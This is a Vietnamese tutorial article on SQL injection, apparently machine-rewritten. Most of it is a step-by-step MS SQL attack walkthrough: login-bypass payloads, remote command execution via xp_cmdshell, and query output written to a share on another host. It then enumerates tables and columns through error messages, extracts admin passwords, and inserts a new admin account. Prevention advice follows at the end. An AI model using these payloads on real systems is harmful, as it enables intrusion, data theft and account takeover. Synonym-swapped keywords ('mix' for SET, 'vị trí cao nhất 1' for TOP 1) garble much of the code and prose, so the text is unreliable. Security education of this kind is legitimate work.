SQL Injection là kiểu tấn công mạng phổ biến mà bạn cần phải nắm rõ: khái niệm, các dạng, phương pháp thức, quy trình tấn công, kết quả và phương pháp phòng phòng để bảo đảm website, khối hệ thống của mình.

Bạn đang xem: Sql injection là gì? mức độ nguy hiểm và cách phòng ngừa

Lưu ý: ko thử tấn công website, khối hệ thống của cá nhân, tổ chức khác bằng phương thức này, những hành vi bởi thế đều là vi bất hợp pháp luật Việt Nam. Nếu bạn tìm thấy lỗ hổng bảo mật, hãy báo cho tất cả những người quản trị website, hệ thống đó nhằm họ tự khắc phục.

SQL Injection là gì với nó vận động như nào?

SQL Injection là giữa những kiểu thủ thuật web bằng phương pháp inject những mã SQL query/command vào input trước khi chuyển cho vận dụng web xử lí, bạn có thể login nhưng không đề xuất username cùng password, remote execution (thực thi từ bỏ xa), dump data và lấy root của SQL server. Công cụ dùng để tấn công là 1 trong những trình để mắt tới web bất kì, ví dụ như Internet Explorer, Netscape, Lynx, ...

*

Hoạt động

SQL Injection trở thành sự việc khá phổ biến với những trang web theo phía cơ sở dữ liệu, đấy là một lỗ hổng dễ dàng phát hiện nay và cũng rất dễ bị khai thác. Bất kỳ trang web hoặc ứng dụng nào tất cả cơ sở dữ liệu người tiêu dùng cũng có thể là mục tiêu của các cuộc tiến công theo thứ hạng này.

Các cuộc tấn công được thực hiện bằng phương pháp đặt một ký tự meta vào dữ liệu đầu vào, sau đó đặt những lệnh SQL vào Control Plane. Lỗ hổng này do SQL không phân minh được thân Control Plane với dữ liệu.

Tìm hiểu những dạng tiến công SQL Injection

Giả mạo

*

Các cuộc tấn công SQL Injection chất nhận được những kẻ tấn công hàng nhái danh tính, hàng fake dữ liệu hiện nay có, nhằm gây ra những vấn đề như loại bỏ hóa những giao dịch, chuyển đổi cân bằng, huyết lộ tổng thể dữ liệu bên trên hệ thống, hủy diệt dữ liệu hoặc tạo cho dữ liệu không thể khả dụng để bầy chúng biến quản trị viên của sản phẩm chủ cơ sở dữ liệu.

Kiểu phổ biến

SQL Injection rất phổ biến với các ứng dụng PHP và ASP vày sự tương thích với những giao diện chức năng cũ hơn. Vì thực chất của những giao diện xây dựng sẵn có, những ứng dụng J2EE với ASP.NET đang ít có chức năng khai thác SQL Injection hơn.

Tính nghiêm trọng

Mức độ nghiêm trọng của các cuộc tấn công SQL Injection được nhận xét qua tài năng của kẻ tấn công. Ở cường độ thấp hơn, các bạn nên bảo mật thông tin bằng các biện pháp đối phó siêng sâu, cảnh giác cao độ về mức độ rất lớn của SQL Injection để giảm thiểu rủi ro ở mức tốt nhất.

SQL Injection gây ra những ảnh hưởng gì?

Thông tin singin bị tiến công cắp: áp dụng SQL Injection để tìm kiếm tin tức đăng nhập người dùng. Sau đó, số đông kẻ tấn công rất có thể mạo danh tín đồ dùng, thực hiện và thay đổi các quyền hạn của người tiêu dùng sẵn có.Truy cập đại lý dữ liệu: thực hiện SQL Injection để truy vấn vào nguồn tin tức được lưu trữ trong máy chủ cơ sở dữ liệu. Điều này có thể gây ra những vụ việc nghiêm trọng cho các dữ liệu của toàn thể hệ thống vận hành.Xóa dữ liệu: thực hiện SQL Injection để xóa các phiên bản ghi của cơ sở dữ liệu, bao hàm cả drop tables, tạo ra những sự đổi khác hoặc phá vỡ vạc các cấu tạo của cơ sở dữ liệu.Dữ liệu cầm cố thế: thực hiện SQL Injection để nhà động đổi khác hoặc thêm dữ liệu mới vào cơ sở dữ liệu hiện tại, tác động đến hiệu quả chiết xuất dữ liệu ở đầu cuối xảy ra hầu như sai lệch.Mạng lưới truy tìm cập: áp dụng SQL Injection để truy cập vào các máy công ty cơ sở tài liệu và sử dụng những quyền hạn quản lý trong hệ điều hành. Sau đó, đông đảo kẻ tấn công sẽ thực hiện các cuộc tấn công sâu hơn vào mạng lưới.

*

Còn hiện nay thì xem cụ thể toàn bộ quá trình tấn công bằng SQL Injection dưới đây nhé.

Quá trình tấn công bằng SQL Injection

1. Tìm kiếm mục tiêu

Có thể tìm những trang web chất nhận được submit dữ liệu ở bất kể một trình kiếm tìm kiếm làm sao trên mạng, chẳng hạn như những trang login, search, feedback, …

Ví dụ:

http://yoursite.com/index.asp?id=10Một số website chuyển tham số qua những field ẩn, phải xem mã HTML mới thấy rõ. Ví dụ như ở dưới.

2. Khám nghiệm chỗ yếu đuối của trang web

Thử submit những field username, password hoặc field id, .. Bởi hi’ or 1=1–

Login: hi" or 1=1--Password: hi" or 1=1--http://yoursite.com/index.asp?id=hi" or 1=1--Nếu site chuyển tham số qua field ẩn, hãy tải về source HTML, giữ trên đĩa cứng và biến đổi lại URL mang đến phù hợp. Ví dụ:

Nếu thành công, thì có thể login vào nhưng mà không nên biết username cùng password

3. Lý do ‘ or 1=1– hoàn toàn có thể vượt qua phần đánh giá đăng nhập?

Giả sử như gồm một trang ASP liên kết đến một ASP trang không giống với URL như sau:

http://yoursite.com/index.asp?category=foodTrong URL trên, vươn lên là ‘category’ được gán cực hiếm là ‘food’. Mã ASP của trang này hoàn toàn có thể như sau (đây chỉ là ví dụ thôi):

v_cat = request("category")sqlstr="SELECT * FROM sản phẩm WHERE PCategory="" & v_cat và """set rs=conn.execute(sqlstr)v_cat sẽ chứa giá trị của đổi thay request(“category”) là ‘food’ và câu lệnh SQL tiếp theo sẽ là:

SELECT * FROM hàng hóa WHERE PCategory="food"Dòng query trên đã trả về một tập resultset cất một hoặc những dòng phù hợp với đk WHERE PCategory=’food’

Nếu đổi khác URL bên trên thành http://yoursite.com/index.asp?category=food’ or 1=1–, biến hóa v_cat sẽ chứa giá trị “food’ or 1=1– ” và mẫu lệnh SQL query sẽ là:

SELECT * FROM hàng hóa WHERE PCategory="food" or 1=1--"Dòng query trên đang select đa số thứ trong bảng product bỏ mặc giá trị của ngôi trường PCategory có bằng ‘food’ tốt không. Hai vết gạch ngang (–) chỉ cho MS SQL server biết đã hết dòng query, các thứ còn sót lại sau “–” sẽ bị bỏ qua. Đối cùng với MySQL, hãy ráng “–” thành “#”

Ngoài ra, cũng rất có thể thử cách khác bằng phương pháp submit ‘ or ‘a’=’a. Chiếc SQL query hiện thời sẽ là:

SELECT * FROM sản phẩm WHERE PCategory="food" or "a"="a"Một số loại tài liệu khác mà lại cũng đề nghị thử submit để tìm hiểu xem website có gặp lỗi tuyệt không:

" or 1=1--" or 1=1--or 1=1--" or "a"="a" or "a"="a") or ("a"="a4. Thi hành lệnh tự xa bằng SQL Injection

Nếu setup với cơ chế mặc định mà không có điều chỉnh gì, MS SQL Server đang chạy ở tầm mức SYSTEM, tương tự với mức truy vấn Administrator bên trên Windows. Hoàn toàn có thể dùng store procedure xp_cmdshell trong csdl master nhằm thi hành lệnh tự xa:

"; exec master..xp_cmdshell "ping 10.10.1.2"--Hãy thử cần sử dụng dấu nháy đôi (“) nếu vết nháy 1-1 (‘) không có tác dụng việc.

Dấu chấm phẩy (sẽ xong dòng SQL query lúc này và chất nhận được thi hành một SQL command mới. Để bình chọn xem lệnh trên đã đạt được thi hành hay không, rất có thể listen những ICMP packet từ bỏ 10.10.1.2 bởi tcpdump như sau:

#tcpdump icmpNếu nhận được ping request trường đoản cú 10.10.1.2 tức thị lệnh đã có được thi hành.

5. Nhận output của SQL query

Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML

"; EXEC master..sp_makewebtask "\10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"Chú ý: folder “share” đề xuất được nội dung cho Everyone trước.

6. Nhận tài liệu qua ‘database using ODBC error message’

Các thông báo lỗi của MS SQL Server thường xuyên đưa cho bạn những thông tin quan trọng. đem ví dụ sinh hoạt trên http://yoursite.com/index.asp?id=10, hiện nay chúng ta test hợp độc nhất vô nhị integer ’10’ với cùng 1 string khác mang từ CSDL:

http://yoursite.com/index.asp?id=10 UNION SELECT vị trí cao nhất 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--Bảng INFORMATION_SCHEMA.TABLES của khối hệ thống SQL server chứa thông tin về tất cả các bảng (table) gồm trên server. Trường TABLE_NAME cất tên của mỗi bảng trong CSDL. Họ chọn nó chính vì chúng ta biết rằng nó luôn tồn tại. Query của bọn họ là:

SELECT đứng đầu 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--Dòng query này đang trả về thương hiệu của bảng trước tiên trong CSDL

Khi chúng ta kết thích hợp chuỗi này với số integer 10 qua statement UNION, MS SQL hệ thống sẽ thay thử gửi một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi còn nếu như không chuyển được nvarchar sang int, server vẫn hiện thông báo lỗi sau:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"Syntax error converting the nvarchar value"table1" to lớn a column of data type int./index.asp, line 5Thông báo lỗi trên cho thấy giá trị hy vọng chuyển lịch sự integer tuy nhiên không được, “table1”. Đây cũng chính là tên của bảng đầu tiên trong database mà họ đang muốn có.

Để đem tên của tên của bảng tiếp theo, rất có thể dùng query sau:

http://yoursite.com/index.asp?id=10 UNION SELECT đứng đầu 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ("table1")--Cũng rất có thể thử kiếm tìm dữ liệu bằng cách khác trải qua statement lượt thích của câu lệnh SQL:

http://yoursite.com/index.asp?id=10 UNION SELECT đứng đầu 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME like "%25login%25"--Khi đó thông tin lỗi của SQL Server hoàn toàn có thể là:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"Syntax error converting the nvarchar value "admin_login" khổng lồ a column of data type int./index.asp, line 5Mẫu đối chiếu ‘%25login%25’ sẽ tương tự với %login% vào SQL Server. Như thấy trong thông báo lỗi trên, bạn có thể xác định được thương hiệu của một table quan trọng là “admin_login”.

7. Khẳng định tên của các column vào table

Table INFORMATION_SCHEMA.COLUMNS cất tên của tất cả các column vào table. Rất có thể khai thác như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT đứng top 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login"--Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"Syntax error converting the nvarchar value "login_id" khổng lồ a column of data type int./index.asp, line 5Như vậy tên của column trước tiên là “login_id”. Để đem tên của các column tiếp theo, rất có thể dùng mệnh đề xúc tích và ngắn gọn NOT IN () như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT đứng đầu 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id")--Khi đó thông tin lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"Syntax error converting the nvarchar value "login_name" to a column of data type int./index.asp, line 5Làm tương tự như như trên, hoàn toàn có thể lấy được tên của những column còn sót lại như “password”, “details”. Khi đó ta lấy tên của các column này qua các thông báo lỗi của SQL Server, như lấy ví dụ như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT đứng đầu 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id","login_name","password",details")--Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error "80040e14"ORDER BY items must appear in the select danh mục if the statement contains a UNION operator./index.asp, line 58. Thu thập các dữ liệu quan trọng

Chúng ta đã khẳng định được những tên của những table với column quan liêu trọng. Họ sẽ thu thập các thông tin đặc biệt từ các table và column này.

Có thể rước login_name trước tiên trong table “admin_login” như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT đứng top 1 login_name FROM admin_login--Khi đó thông tin lỗi của SQL Server hoàn toàn có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"Syntax error converting the nvarchar value "neo" lớn a column of data type int./index.asp, line 5Dễ dàng phân biệt được admin user thứ nhất có login_name là “neo”. Hãy thử mang password của “neo” như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT vị trí cao nhất 1 password FROM admin_login where login_name="neo"--Khi đó thông tin lỗi của SQL Server hoàn toàn có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"Syntax error converting the nvarchar value "m4trix" lớn a column of data type int./index.asp, line 5Và hiện nay là đã hoàn toàn có thể login vào với username là “neo” và password là “m4trix”.

9. Nhận các numeric string

Có một hạn chế nhỏ tuổi đối với cách thức trên. Họ không thể nhận được các error message nếu như server hoàn toàn có thể chuyển text đúng ở dạng số (text chỉ chứa các kí trường đoản cú số tự 0 mang lại 9). Giả sử như password của “trinity” là “31173”. Vậy giả dụ ta thực hiện lệnh sau:

http://yoursite.com/index.asp?id=10 UNION SELECT đứng top 1 password FROM admin_login where login_name="trinity"--Thì lúc đó chỉ nhận được thông báo lỗi “Page Not Found”. Lý do bởi vì server rất có thể chuyển passoword “31173” quý phái dạng số trước khi UNION cùng với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí từ bỏ alphabet vào numeric string này để làm thất bại sự đổi khác từ text thanh lịch số của server. Mẫu query mới như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT đứng top 1 convert(int, password%2b"%20morpheus") FROM admin_login where login_name="trinity"--Chúng ta sử dụng dấu cộng (+) nhằm nối thêm text vào password (ASCII code của ‘+’ là 0x2b). Họ thêm chuỗi ‘(space)morpheus’ vào thời gian cuối password để tạo ra một string mới chưa hẳn numeric string là ‘31173 morpheus’. Lúc hàm convert() được call để chuyển ‘31173 morpheus’ quý phái integer, SQL server vẫn phát lỗi ODBC error message sau:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"Syntax error converting the nvarchar value "31173 morpheus" khổng lồ a column of data type int./index.asp, line 5Và nghĩa là hiện thời ta cũng rất có thể login vào cùng với username ‘trinity’ cùng password là ‘31173’

10. Biến hóa dữ liệu (Update/Insert) của CSDL

Khi đã mang tên của tất cả các column vào table, rất có thể sử dụng lệnh UPDATE hoặc INSERT nhằm sửa đổi/tạo mới một record vào table này.

Để đổi khác password của “neo”, hoàn toàn có thể làm như sau:

http://yoursite.com/index.asp?id=10; UPDATE "admin_login" mix "password" = "newpas5" WHERE login_name="neo"--Hoặc nếu bạn có nhu cầu một record new vào table:

http://yoursite.com/index.asp?id=10; INSERT INTO "admin_login" ("login_id", "login_name", "password", "details") VALUES (666,"neo2","newpas5","NA")--Và hiện thời có thể login vào cùng với username “neo2” và password là “newpas5”

Các ngôi trường hợp tấn công SQL Injection thì nên làm sao?

Một số phương pháp tấn công bằng SQL Injection phổ cập nhất

Chèn SQL Injection dựa vào đầu vào

Một cuộc tấn công SQL Injection thường thịnh hành với việc sử dụng các đầu vào của bạn dùng. Các ứng dụng website đều gật đầu các đầu vào thông qua nhiều hiệ tượng khác nhau. Thông qua đó, phần đông kẻ tấn công hoàn toàn có thể gắn SQL Injection với những dữ liệu đầu vào và truy vấn vào cơ sở dữ liệu máy chủ.

Chèn SQL Injection dựa vào cookie

Một phương pháp tiếp cận khác với SQL Injection là sửa thay đổi cookie thành những truy vấn cơ sở dữ liệu chứa mã độc. Các ứng dụng độc hại rất có thể được triển khai trên thiết bị người tiêu dùng thông qua đổi khác của cookie, nhằm mục đích đưa SQL Injection vào các dữ liệu Back-end.

Chèn SQL Injection dựa vào headers HTTP

Các biến của dòng sản phẩm chủ như headers HTTP cũng có thể là kim chỉ nam tấn công của SQL Injection. Nếu như một áp dụng web đồng ý đầu vào từ những headers HTTP, những headers giả tất cả chứa SQL Injection hoàn toàn có thể xâm nhập vào cơ sở dữ liệu.

Chèn SQL Injection bằng bậc hai

Một cuộc tấn SQL Injection bậc hai cung cấp các tài liệu bị lây truyền độc, mà đó là các dữ liệu có thể được xem như là lành tình trong một trường hợp duy nhất định, tuy thế chứa những mã độc trong trường phù hợp khác. Các bạn khó rất có thể nhận thức được các cuộc tấn công theo cách thức này.

Ngăn ngăn SQL Injection bằng cách nào?

*

Các tổ chức có thể tập trung vào rất nhiều bước sau đây để đảm bảo mình khỏi rất nhiều cuộc tấn công SQL Injection:

– Không khi nào được tin cậy những input người tiêu dùng nhập vào: Dữ liệu luôn luôn phải được xác thực trước lúc sử dụng trong các câu lệnh SQL.– các thủ tục được lưu trữ: Những giấy tờ thủ tục này hoàn toàn có thể trừu tượng hóa những lệnh SQL và xem xét cục bộ input như những tham số. Nhờ vào đó, nó quan trọng gây tác động đến cú pháp lệnh SQL.– các lệnh được sẵn sàng sẵn: Điều này bao gồm việc tạo truy vấn SQL như hành động đầu tiên và sau đó xử lý cục bộ dữ liệu được gửi tựa như các tham số.– Những các từ thông dụng: Những nhiều từ này được sử dụng để phát hiện mã độc và đào thải nó trước khi câu lệnh SQL được thực hiện.– thông tin lỗi đúng: thông tin lỗi phải hoàn hảo nhất tránh bật mí những thông tin/chi ngày tiết nhạy cảm và vị trí xẩy ra lỗi trên thông tin lỗi.– số lượng giới hạn quyền truy vấn của bạn dùng đối với cơ sở dữ liệu: Chỉ những thông tin tài khoản có quyền truy cập theo yêu thương cầu mới được liên kết với các đại lý dữ liệu. Điều này hoàn toàn có thể giúp giảm thiểu đa số lệnh SQL được thực thi tự động hóa trên server.– Hãy thải trừ các kí tự meta như ‘”/; và các kí từ bỏ extend như NULL, CR, LF, … trong các string nhận được từ:input do người dùng đệ trìnhcác thông số từ URLcác giá trị từ cookie– Đối với các giá trị numeric, hãy đưa nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.– thay đổi “Startup and run SQL Server” sử dụng mức low privilege user vào tab SQL vps Security.Xóa các stored procedure trong database master cơ mà không cần sử dụng như:xp_cmdshellxp_startmailxp_sendmailsp_makewebtask

Ngăn chặn SQL Injection vào ASP.NET

Các phương thức ngăn ngăn SQL Injection được trình bày ở trong phần 12 đã tổng quan đủ phương pháp, nhưng lại trong ASP.NET có cách ngăn chặn dễ dàng là sử dụng những Parameters khi thao tác với object SqlCommand (hoặc OleDbCommand) chứ không cần sử dụng những câu lệnh SQL trực tiếp. Khi đó .NET sẽ auto validate kiểu dáng dữ liệu, nội dung dữ liệu trước khi triển khai câu lệnh SQL.

Ngoài ra, cũng cần kiểm soát điều hành tốt các thông tin lỗi. Cùng mặc định vào ASP.NET là thông tin lỗi sẽ không được thông báo chi tiết khi không điều khiển xe trên localhost.

Xem thêm: " Chảnh Chó Tiếng Anh Là Gì Trên Facebook, Chảnh Chó Tiếng Anh Là Gì

Qua bài viết đầy đủ và chi tiết trên đây, bọn chúng tôi chắc hẳn rằng bạn đang hiểu rộng về SQL Injection tự khái niệm, cách thức hoặt động cho tới quá trình tiến công và biện pháp phòng chống tác dụng nhất. Mong muốn những thông tin này mang lại lợi ích nhiều cho chính mình đọc.